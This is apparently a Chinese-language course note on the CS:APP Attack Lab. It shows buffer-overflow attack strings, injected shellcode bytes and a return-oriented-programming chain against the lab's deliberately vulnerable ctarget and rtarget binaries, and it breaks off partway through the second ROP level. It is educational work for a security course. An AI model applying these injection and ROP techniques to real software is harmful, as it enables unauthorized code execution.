本文是CS:APP学习笔记的一部分:

相关的代码都放在了GitHub下了:RayZhang13/CSAPP-Labs

关于学习资源和视频等问题可以参考第一次写的Data Lab开头中提及的相关问题。

上次的Bomb Lab做完了缓了几天,真的有点吃不消呢…

这次的实验是Attack Lab,是曾经的32位实验Buffer Lab的64位更新。需要我们实现的内容简单来说就是针对两个含有缓冲区溢出漏洞的程序进行按照要求进行攻击,分别修改具有缓冲区溢出漏洞的两个x86_64可执行文件的行为。

对于自学者来说,运行target的程序的时候需要带上参数-q以避免其连接并不存在的计分服务器。

准备

对应课程

这次的Attack Lab作业,如果是自学,在B站课程中,应该大致需要完成P9的学习,大致理解缓冲区溢出的原理,以及通过代码注入攻击(Code Injection Attack)和返回导向编程(Return Oriented Programming)两种攻击方式。

P.S. P9的内容和Bomb Lab中有部分重合,因为在Bomb Lab的Phase5中,涉及了Canary值,和栈空间破坏检测。暂且列入了Bomb Lab的学习范围。

课程文件

相关的作业可以在CMU的官网上找到:

Lab Assignments

在Attack Lab一栏里面,我们可以查看相关文件,例如:

这次的Writeup说明材料有亿点点长,里面列举了本次作业的相关要求,痛苦看完🤦‍♂️

下载后并解压的文件如图所示:

使用环境

还是选择在Linux虚拟机上进行操作:

使用建议

文件说明

这次文件夹里面的文件比较多,主要包含了如下文件:

  • ctarget是一个易受代码注入攻击的可执行程序
  • rtarget是一个易受返回导向编程攻击的可执行程序
  • cookie.txt是在攻击中用到的唯一标识符,是8位的16进制代码
  • farm.c是目标程序的”Gadget Farm”的源代码,你将利用这些代码去生成返回导向编程攻击
  • hex2raw是一个生成攻击字符串的工具

对于自学的同学,我们需要在运行可执行程序时加入-q参数,禁止与不存在的评分服务器的连接。

目标程序漏洞

目标程序中ctargetrtarget都使用了getbuf函数从我们的标准输入流中读取字符串:

1
2
3
4
5
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

其中的Gets函数与标准库函数中的gets函数类似,都是不安全的,因为存在缓冲区溢出漏洞。

交互方式

我们在这里以第一个可执行文件ctarget为例,尝试对他进行攻击。

最简单的逻辑就是直接在终端中直接输入字符:

随便输了点a,没有触发缓冲区溢出,正常return

但是看过网课的同学都知道,如果我们要触发缓冲区溢出,并篡改返回的指令地址。

如果直接输入字符串未免太拐弯抹角了,还需要将返回的指令地址对应ASCII码转换成字符再进行输入。

在这里,作业文件夹里面很贴心的提供了hex2raw小程序,通过读取文本文件中的逐个字节,每个字节使用空格隔开,并使用小端序,直接将其转化为字符。

P.S. 由于我们使用Gets函数输入字符串,用来生成攻击字符串的16进制的代码的任意中间位置都不能包含0a,因为其ASCII表示是\n,在其之后的任意代码都不会被目标程序读入了。

P.S. 关于大端序和小端序的相关介绍在网课P3 57:52时刻。如常见的Intel x86系列就是小端序

而我们应该如何来使用呢?如下所示:

例如我们在作业目录下创建文本文件key.txt

随便输的不要在意

随后我们使用如下命令:

P.S. 帮助复习一下Linux基本终端知识:

  • < 重定向输入符号

    用法:命令 <文件名
    输入重定向是指把命令(或可执行程序)的标准输入重定向到指定的文件中。也就是说,输入可以不来自键盘,而来自一个指定的文件。所以说,输入重定向主要用于改变一个命令的输入源,特别是改变那些需要大量输入的输入源。

  • | 管道符号

    用法:命令1 | 命令2
    机制:上一个的命令输出作为下一个命令的输入

注意事项

答案不能使用攻击去避免程序的正确性检查代码,禁止偷鸡。ret指令返回的目的地只能是以下3种:

  • 函数touch1, touch2, touch3的地址
  • 攻击注入代码的地址
  • gadget farm中gadgets的地址

rtarget中只能用函数start_farm和函数end_farm之间的函数来生成gadget。

题目

Code Injection Attacks

Part I部分的攻击对象主要为ctarget,我们的攻击方式为代码注入攻击(Code Injection Attack),即通过覆盖缓冲区外部的表示代码返回地址的内存,来实现攻击的目的。

Level 1

在这个level,我们暂时不注入新的代码。我们通过输入的字符串将程序重定向到一段已经存在的程序上即可。

getbuf方法在ctarget内由test方法进行调用,test程序如下:

1
2
3
4
5
void test(){
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

我们希望通过缓冲区溢出注入的方式,使得程序在执行结束getbuf方法后,不去执行最后一句printf,而是转而执行touch1方法,touch1方法如下:

1
2
3
4
5
6
void touch1(){
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

如果需要进行缓冲区溢出攻击的话,我们最好先对当前的程序进行反编译分析,我们使用objdump -d ./ctarget > ctarget-disassemble将结果输出到文件:

我们首先观察getbuf函数的反编译结果:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp ;栈顶指针下移40字节,分配栈帧空间
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax ;return 1
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
4017be: 90 nop
4017bf: 90 nop

结合之前的getbuf函数,我们可以看出getbuf的栈帧大小为48字节,其最底部的8字节应当为返回的地址。而我们向Gets函数中传入了数组首地址,即rsp,也就是getbuf栈的栈顶。

P.S. 见P7 16:06时刻,call指令隐含了三部操作,首先会将返回地址压入栈中(附带操作rsp指针下移),再修改指令指针rip指向准备被调用的外部函数。

因此被调用的函数的栈帧底部应该存在call指令压入的返回地址,而下次使用ret指令时,相当于使用pop指令将栈顶当前存在的返回地址弹出(附带操作rsp指针上移),并写入rip,指向原调用函数的下一句指令位置。

大致内存布局如图:

因此,我们传入的字符串大小需要为48字节,其中前40字节用于填充缓冲区,后8字节用于覆盖返回地址完成注入。换句话说,前40字节的字符没有要求,但是最后8字节需为touch1函数的入口地址。

通过观察touch1的反编译结果:

1
2
3
4
5
6
7
8
9
10
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 call 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff call 400e40 <exit@plt>

我们得到其入口地址为0x4017c0,因此我们构造输入:

1
2
3
4
5
41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 /* fill buffer */
c0 17 40 00 00 00 00 00 /* addr in little edian */

注意到最后的8个字节,按字节输入时是按照地址增大的方向填入的,但是读取地址时使用的是小端序,因此顺序是反过来的。

传入程序中,显示通过。

Level 2

在这个level中,我们需要将程序重定向到touch2,同时需要将传入的参数val修改为cookie,相应的cookie值已经列出在了文件夹的cookie.txt中,也就是0x59b997fa

touch2的相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
void touch2(unsigned val){
vlevel = 2;
if(val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val); //你需要触发这个分枝
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

在Writeup中,已经给出了比较明显的提示了。题目希望我们在运行过程中插入一段代码,通过直接修改rdi寄存器的值为cookie,随后通过注入的方式调用touch2,直接将rdi内的参数作为第一参数传递给touch2

事实上,如果我们没有对内存中的数据进行读写可执行等限制,我们确实可以通过在缓冲区内部注入可执行二进制代码的方式,再通过缓冲区溢出漏洞修改缓冲区外部的返回地址,将返回地址指向我们写入的缓冲区中的某块代码区域,如下图:

如果我们确实要这样做的话,思考一下我们注入的二进制代码需要完成哪些事情呢?

  • rdi的值修改为cookie,即0x59b997fa
  • 执行完之后,将程序转向touch2。即将touch2入口地址入栈,随后调用retq。(retq会取出rsp指向的空间的地址作为返回地址而进行执行)

我们观察touch2的反编译结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff call 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 call 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff call 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 call 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff call 400e40 <exit@plt>

我们看到其入口地址为0x4017ec

因此我们认为注入代码的汇编形式应当写作如下:

1
2
3
mov $0x59b997fa, %rdi
pushq $0x4017ec
retq

P.S. 友情提示,立即数不要忘记$符号。

我们将这段代码写入到文件attack.s,随后使用GCC,通过命令gcc -c attack.s将其转换为二进制可执行文件attack.o。随后我们使用objdump对生成的attack.o文件使用objdump -d attack.o > attack_disassemble进行分析:

我们看到反编译结果如下:

1
2
3
4
5
6
7
8
attack.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret

自此我们确定需要注入的代码二进制格式为:

1
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

这段注入代码共13个字节,那么接下来我们就应该修改返回地址指向这段代码开头了,那么应该如何确定代码的地址呢?

我们不妨将其顶格放置在缓冲区开头位置,接下来我们就应该着手去确定他的位置。我们使用GDB调试ctarget,在getbuf位置打上断点:

从中可以得出结论,ctarget在执行getbuf时的栈地址(指向返回地址)为0x5561dca0。接下来我们执行一次单步执行,也就是sub $0x28,%rsp,现在rsp指针指向了缓冲区开始地址0x5561dc78。内存布局如下图所示:

因此我们应当输入如下内容:

1
2
3
4
5
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 /* code(13 bytes) */
41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 /* fill buffer(27 bytes) */
78 dc 61 55 00 00 00 00 /* return addr pointing to the code(8 bytes) */

我们通过key.txt传入到程序中,显示攻击成功,顺利调用touch2

Level 3

Level 3同样要求我们进行代码注入,但是相比Level 2需要我们传入一个字符串作为参数。

题目给出了hexmatchtouch3的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char* sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char* s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char* sval){
vlevel = 3;
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval); //需要触发这个分枝
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

这段hexmatch的代码很有趣,我们需要好好的揣摩一下作者的用意。我们看到他开辟了一块110字节的空间,在某个位置插入了cookie对应的16进制小写字符串。

我们知道如果要触发touch3中的正确分枝,就需要将正确的字符串作为参数传递给rdi,也就是先在内存空间中开辟出一块空间存储"59b997fa",随后将其首地址元素地址传递给rdi

题目上也给出了相关的提示,如果我们将这段字符串存储在40字节的缓冲区内部,在运行的过程中,如果调用了touch3并继续调用了hexmatch,那么栈空间会大量增长,cbuf所在的110字节空间会直接覆盖掉原本在缓冲区中的"59b997fa"。因此我们最好的办法只能是继续将我们缓冲区溢出的范围变大一点,把字符串写到返回地址更外面的地方(也就是test的栈帧里面,虽然这会破坏他的栈空间,但这是迫不得已)。

那我们先开始进行准备工作吧,"59b997fa"其转换为ASCII码为:

1
35 39 62 39 39 37 66 61 00

9字节(算上'\0')。

我们将这段字符串存储在返回地址外侧的位置,内存布局如图所示:

这样就可以防止字符串被意外覆盖了。根据我们在Level 2中调试出的地址,加上返回地址为8字节大小,我们可以推测出字符串开始首地址为0x5561dca8

touch3的反编译结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff call 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 call 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 call 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff call 400e40 <exit@plt>

可见,其入口地址为0x4018fa。那么我们的注入代码同Level 2,也可以列出了:

1
2
3
mov $0x5561dca8, %rdi
pushq $0x4018fa
retq

通过GCC和objdump命令,同上,将其转化为二进制命令为:

1
2
3
4
5
6
7
8
attack.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret

即二进制注入代码为:

1
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

13字节。

因此输入的字符串为:

1
2
3
4
5
6
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 /* code(13 bytes) */
41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 /* fill buffer(27 bytes) */
78 dc 61 55 00 00 00 00 /* return addr pointing to the code(8 bytes) */
35 39 62 39 39 37 66 61 00 /* string("59b997fa") */

我们尝试进行测试,成功:

Return-Oriented Programming

为了对抗缓冲区溢出攻击,在第二部分中目标程序rtarget使用了如下技术来应对:

  • 栈随机化技术,每次运行程序时栈的起始位置是不固定的。因此我们没法通过在栈空间某处注入一段代码的方式来达成目的(因为根本找不到这段代码的地址)
  • 禁止执行栈上的代码,即使我们将程序计数器指向我们注入的代码也无法进行执行,会爆出segmentation fault错误。

但是在此目标程序中,缓冲区溢出仍然是存在的,我们依旧可以不受干扰的修改栈空间中缓冲区及其以外的部分。

基于这点原理,我们可以使用返回导向编程(ROP)来进行攻击。

P.S.

考虑到我们无法直接执行栈内存空间中的代码,而且其地址会随机变化,我们改为考虑使用地址固定的正常程序地址。例如程序自身执行的函数等等,我们通过“断章取义”的相关办法,将程序理解为我们想要的意思,例如代码:

1
2
3
void setval_210(unsigned* p){
*p = 3347663060U;
}
1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

如果我们将返回地址定为0x400f15,确实执行的就是相关的效果。

但是如果我们将程序计数器指向中间某个位置,就可以被“断章取义”的理解为别的意思,例如我们指向0x400f18

1
2
400f18:		48 89 c7	movq %rax, %rdi
400f1b: c3 retq

如果我们将返回地址定在0x400f18,就能产生意想不到的效果。

我们将以 ret 结尾的指令序列,称为gadgets

通过在缓冲区外不断写入地址的方式我们就能进行连贯的调用,每次执行ret都会导致执行后一个新的返回地址,随后rsp指针加一。

至于传入的参数如何进行修改,在ROP攻击中,由于不一定能找到合适的gadgets完成赋值操作。我们一般使用retq执行前的pop reg指令,将栈顶到数据弹出到寄存器中(pop reg的命令也需要从gadgets中去寻找),因此相关的参数确实可以写到栈空间中去,通过pop来获取。

为了方便我们获取需要的gadgets,在rtarget中,提供了多个函数,函数start_farm和函数end_farm之间的均可调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
/* This function marks the start of the farm */
int start_farm()
{
return 1;
}

unsigned getval_142()
{
return 2425387259U;
}

unsigned addval_273(unsigned x)
{
return x + 3284633928U;
}

unsigned addval_219(unsigned x)
{
return x + 2421715793U;
}

void setval_237(unsigned *p)
{
*p = 3351742792U;
}

void setval_424(unsigned *p)
{
*p = 2455290452U;
}

void setval_470(unsigned *p)
{
*p = 3347925091U;
}

void setval_426(unsigned *p)
{
*p = 2428995912U;
}

unsigned getval_280()
{
return 3281016873U;
}

/* This function marks the middle of the farm */
int mid_farm()
{
return 1;
}

/* Add two arguments */
long add_xy(long x, long y)
{
return x+y;
}

unsigned getval_481()
{
return 2428668252U;
}

void setval_296(unsigned *p)
{
*p = 2425409945U;
}

unsigned addval_113(unsigned x)
{
return x + 3380137609U;
}

unsigned addval_490(unsigned x)
{
return x + 3676361101U;
}

unsigned getval_226()
{
return 3225997705U;
}

void setval_384(unsigned *p)
{
*p = 3229929857U;
}

unsigned addval_190(unsigned x)
{
return x + 3767093313U;
}

void setval_276(unsigned *p)
{
*p = 3372794504U;
}

unsigned addval_436(unsigned x)
{
return x + 2425409161U;
}

unsigned getval_345()
{
return 3252717896U;
}

unsigned addval_479(unsigned x)
{
return x + 3372270217U;
}

unsigned addval_187(unsigned x)
{
return x + 3224948361U;
}

void setval_248(unsigned *p)
{
*p = 3674787457U;
}

unsigned getval_159()
{
return 3375944073U;
}

unsigned addval_110(unsigned x)
{
return x + 3286272456U;
}

unsigned addval_487(unsigned x)
{
return x + 3229926025U;
}

unsigned addval_201(unsigned x)
{
return x + 3353381192U;
}

unsigned getval_272()
{
return 3523793305U;
}

unsigned getval_155()
{
return 3385115273U;
}

void setval_299(unsigned *p)
{
*p = 2447411528U;
}

unsigned addval_404(unsigned x)
{
return x + 3281178249U;
}

unsigned getval_311()
{
return 3674788233U;
}

void setval_167(unsigned *p)
{
*p = 3281113481U;
}

void setval_328(unsigned *p)
{
*p = 3526935169U;
}

void setval_450(unsigned *p)
{
*p = 3372797449U;
}

unsigned addval_358(unsigned x)
{
return x + 2430634248U;
}

unsigned addval_124(unsigned x)
{
return x + 1019724425U;
}

unsigned getval_169()
{
return 3223375496U;
}

void setval_181(unsigned *p)
{
*p = 3269495112U;
}

unsigned addval_184(unsigned x)
{
return x + 3529556617U;
}

unsigned getval_472()
{
return 3525365389U;
}

void setval_350(unsigned *p)
{
*p = 2430634312U;
}

/* This function marks the end of the farm */
int end_farm()
{
return 1;
}

这些函数在rtarget中通过objdump反编译可得到其二进制代码和对应地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 ret

000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 ret

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret

00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 ret

00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 ret

00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 ret

00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret

00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 ret

00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 ret

00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 ret

00000000004019e1 <setval_296>:
4019e1: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
4019e7: c3 ret

00000000004019e8 <addval_113>:
4019e8: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
4019ee: c3 ret

00000000004019ef <addval_490>:
4019ef: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
4019f5: c3 ret

00000000004019f6 <getval_226>:
4019f6: b8 89 d1 48 c0 mov $0xc048d189,%eax
4019fb: c3 ret

00000000004019fc <setval_384>:
4019fc: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
401a02: c3 ret

0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 ret

0000000000401a0a <setval_276>:
401a0a: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
401a10: c3 ret

0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 ret

0000000000401a18 <getval_345>:
401a18: b8 48 89 e0 c1 mov $0xc1e08948,%eax
401a1d: c3 ret

0000000000401a1e <addval_479>:
401a1e: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
401a24: c3 ret

0000000000401a25 <addval_187>:
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 ret

0000000000401a2c <setval_248>:
401a2c: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
401a32: c3 ret

0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 ret

0000000000401a39 <addval_110>:
401a39: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
401a3f: c3 ret

0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 ret

0000000000401a47 <addval_201>:
401a47: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
401a4d: c3 ret

0000000000401a4e <getval_272>:
401a4e: b8 99 d1 08 d2 mov $0xd208d199,%eax
401a53: c3 ret

0000000000401a54 <getval_155>:
401a54: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
401a59: c3 ret

0000000000401a5a <setval_299>:
401a5a: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
401a60: c3 ret

0000000000401a61 <addval_404>:
401a61: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
401a67: c3 ret

0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 ret

0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3 ret

0000000000401a75 <setval_328>:
401a75: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
401a7b: c3 ret

0000000000401a7c <setval_450>:
401a7c: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
401a82: c3 ret

0000000000401a83 <addval_358>:
401a83: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
401a89: c3 ret

0000000000401a8a <addval_124>:
401a8a: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
401a90: c3 ret

0000000000401a91 <getval_169>:
401a91: b8 88 ce 20 c0 mov $0xc020ce88,%eax
401a96: c3 ret

0000000000401a97 <setval_181>:
401a97: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
401a9d: c3 ret

0000000000401a9e <addval_184>:
401a9e: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
401aa4: c3 ret

0000000000401aa5 <getval_472>:
401aa5: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
401aaa: c3 ret

0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 ret

0000000000401ab2 <end_farm>:
401ab2: b8 01 00 00 00 mov $0x1,%eax
401ab7: c3 ret
401ab8: 90 nop
401ab9: 90 nop
401aba: 90 nop
401abb: 90 nop
401abc: 90 nop
401abd: 90 nop
401abe: 90 nop
401abf: 90 nop

此外为了方便查找对应特征的字节码,题目还特意提供相关的查询表:

Level 2

我们在这里希望达成的目标和上一阶段是相同的。

和之前的一样,我们的目标两个:

  • cookie的值赋给rdi
  • 将下一条指令指向touch2地址

我们先暂时抛开gadgets代码注入不谈,如果要指向touch2地址,我们只需要在栈内存空间中在gadgets地址上方写入touch2入口地址0x4017ec。当gadgets执行完毕,调用ret就会转向栈顶的这条地址。

接下来我们考虑一下如何使用gadgets,将cookie赋值给rdi。题目给了很明显的提示,要我们使用movqpopq,结合raxrdi两个寄存器实现。说明可能暂时没有popq %rdi这么直接的做法,得曲线救国一下…

我们注意到如下两段代码:

1
2
3
4
5
6
7
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 ret

00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 ret

我们从中能够提取出以下片段:

1
2
3
4
5
6
7
4019ab: 58	popq %rax
4019ac: 90 nop
4019ad: c3 retq

4019c6: 89 c7 movl %eax, %edi
4019c8: 90 nop
4019c9: c3 retq

将这两段代码结合即可解决将rdi赋值为cookie的目的。内存布局如下所示:

因此输入字符串为:

1
2
3
4
5
6
7
8
9
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 /* fill buffer(40 bytes) */
ab 19 40 00 00 00 00 00 /* return addr 1(8 bytes) */
fa 97 b9 59 00 00 00 00 /* cookie(8 bytes) */
c6 19 40 00 00 00 00 00 /* return addr 2(8 bytes) */
ec 17 40 00 00 00 00 00 /* touch2 addr(8 bytes) */

经过验证,可以通过测试:

Level 3

Level 3要求同上…

难点自然是我们传入的字符串"59b997fa"首地址完全无法确定,因为栈初始化地址是完全随机的…

那自然要使用偏移量来表示,例如这个地址离当前的栈底距离多少个字节。幸运的是我们有一个add_xy的方法,专门就是处理两数相加的结果。

1
2
3
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

基本思路就是将当前rsp存入到rsirdi中(因为rsp后续可能会发生变化),随后我们通过pop将栈顶存储的某个偏移常数取出,赋值给rdirsi中的另一个,最后我们调用加法,将偏移后到地址输出到rax位置上。

搜罗了一圈关于mov %rsp, xxx的方法,发现还是得继续曲线救国,根本就没有直传rsi或者rdi的方案…

我们能够找到的片段是:

1
2
3
4
5
6
7
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 ret

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 ret

我们将其拆解为片段:

1
2
3
4
5
6
401aad: 48 89 e0		movq %rsp, %rax
401ab0: 90 nop
401ab1: c3 retq

4019a2: 48 89 c7 movq %rax, %rdi
4019a5: c3 retq

